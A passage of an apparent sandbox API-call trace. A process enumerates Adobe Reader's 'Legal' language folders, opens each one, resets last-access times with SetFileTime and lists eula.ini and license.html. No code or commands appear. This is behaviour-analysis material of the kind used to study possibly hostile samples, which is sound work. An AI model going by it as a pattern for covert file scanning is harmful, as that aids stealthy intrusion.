nFileSizeLow=0x0)) returned 1 [0081.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.569] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1259010 [0081.570] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259010, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1259010, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259010) returned 1 [0081.570] NtClose (Handle=0x178) returned 0x0 [0081.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.571] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202258 [0081.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267868 [0081.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202278 [0081.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267970 [0081.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.574] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.574] GetLastError () returned 0x12 [0081.574] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.574] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.574] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.574] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.574] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.574] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.574] GetLastError () returned 0x12 [0081.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.574] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.575] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0081.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.575] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.575] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1259010 [0081.575] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259010, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1259010, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259010) returned 1 [0081.576] NtClose (Handle=0x168) returned 0x0 [0081.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.576] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.577] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.577] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202298 [0081.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267a78 [0081.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.578] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12022b8 [0081.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267b80 [0081.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.580] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.580] GetLastError () returned 0x12 [0081.580] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.580] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.580] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.580] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.580] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.580] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.580] GetLastError () returned 0x12 [0081.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.580] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.581] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0081.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.582] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.582] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1259010 [0081.582] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259010, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1259010, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259010) returned 1 [0081.582] NtClose (Handle=0x178) returned 0x0 [0081.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.583] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.583] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.583] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12022d8 [0081.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267c88 [0081.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.585] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12022f8 [0081.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267d90 [0081.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.587] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.587] GetLastError () returned 0x12 [0081.587] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.587] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.587] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, 